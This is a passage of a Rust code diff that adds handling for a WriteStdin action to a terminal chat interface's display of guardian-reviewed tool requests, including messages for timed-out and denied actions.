let (mut chat, mut rx, _op_rx) = make_chatwidget_manual(/*model_override*/ None).await;
codex-rs/tui/src/chatwidget/tool_requests.rs
+17 -1
View File
@@ -54,6 +54,9 @@ impl ChatWidget {
.ok()
.or_else(|| Some(command.join(" ")))
}
GuardianAssessmentAction::WriteStdin { .. } => {
Some(auto_review_denials::action_summary(action))
}
GuardianAssessmentAction::ApplyPatch { files, .. } => Some(if files.len() == 1 {
format!("apply_patch touching {}", files[0].display())
} else {
@@ -85,7 +88,8 @@ impl ChatWidget {
argv.clone()
})
.filter(|command| !command.is_empty()),
GuardianAssessmentAction::ApplyPatch { .. }
GuardianAssessmentAction::WriteStdin { .. }
| GuardianAssessmentAction::ApplyPatch { .. }
| GuardianAssessmentAction::NetworkAccess { .. }
| GuardianAssessmentAction::McpToolCall { .. }
| GuardianAssessmentAction::RequestPermissions { .. } => None,
@@ -160,6 +164,12 @@ impl ChatWidget {
)
} else {
match &ev.action {
GuardianAssessmentAction::WriteStdin { .. } => {
history_cell::new_guardian_timed_out_action_request(format!(
"codex could {}",
auto_review_denials::action_summary(&ev.action)
))
}
GuardianAssessmentAction::ApplyPatch { files, .. } => {
let files = files
.iter()
@@ -204,6 +214,12 @@ impl ChatWidget {
)
} else {
match &ev.action {
GuardianAssessmentAction::WriteStdin { .. } => {
history_cell::new_guardian_denied_action_request(format!(
"codex to {}",
auto_review_denials::action_summary(&ev.action)
))
}
GuardianAssessmentAction::ApplyPatch { files, .. } => {
let files = files
.iter()